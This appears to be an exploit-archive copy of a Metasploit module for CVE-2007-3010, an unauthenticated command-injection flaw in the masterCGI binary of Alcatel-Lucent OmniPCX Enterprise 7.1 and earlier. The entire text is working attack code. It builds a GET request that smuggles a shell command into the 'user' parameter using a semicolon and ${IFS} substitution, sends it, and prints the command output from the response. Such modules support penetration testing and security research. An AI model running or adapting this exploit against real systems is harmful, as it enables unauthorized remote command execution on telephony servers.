Alcatel-Lucent OmniPCX Enterprise – masterCGI Arbitrary Command Execution (Metasploit)
## # $Id: alcatel_omnipcx_mastercgi_exec.rb 10556 2010-10-05 23:13:04Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ManualRanking # Only interactive single commands supported include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'Alcatel-Lucent OmniPCX Enterprise masterCGI Arbitrary Command Execution', 'Description' => %q{ This module abuses a metacharacter injection vulnerability in the HTTP management interface of the Alcatel-Lucent OmniPCX Enterprise Communication Server 7.1 and earlier. The Unified Maintenance Tool contains a 'masterCGI' binary which allows an unauthenticated attacker to execute arbitrary commands by specifing shell metacharaters as the 'user' within the 'ping' action to obtain 'httpd' user access. This module only supports command line payloads, as the httpd process kills the reverse/bind shell spawn after the HTTP 200 OK response. }, 'Author' => [ 'patrick' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 10556 $', 'References' => [ [ 'OSVDB', '40521' ], [ 'BID', '25694' ], [ 'CVE', '2007-3010' ], [ 'URL', 'http://www1.alcatel-lucent.com/psirt/statements/2007002/OXEUMT.htm' ], ], 'Platform' => ['unix'], 'Arch' => ARCH_CMD, 'Privileged' => false, 'Payload' => { 'Space' => 1024, 'DisableNops' => true, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic' } }, 'Targets' => [ [ 'Automatic Target', { }] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Sep 09 2007')) register_options( [ Opt::RPORT(443), OptBool.new('SSL', [true, 'Use SSL', true]), ], self.class) end def exploit connect cmd = payload.encoded.gsub(" ", '${IFS}') req = "GET /cgi-bin/masterCGI?ping=nomip&user=;#{cmd}; HTTP/1.1\r\n" + "Host: #{rhost}\r\n\r\n" print_status("Sending GET request with command line payload...") sock.put(req) res = sock.get(3,3) if (res =~ /<h5>(.*)<\/h5>/smi) out = $1 print_line(out.gsub(/<h5>|<\/h5>/, '')) return end handler disconnect end end |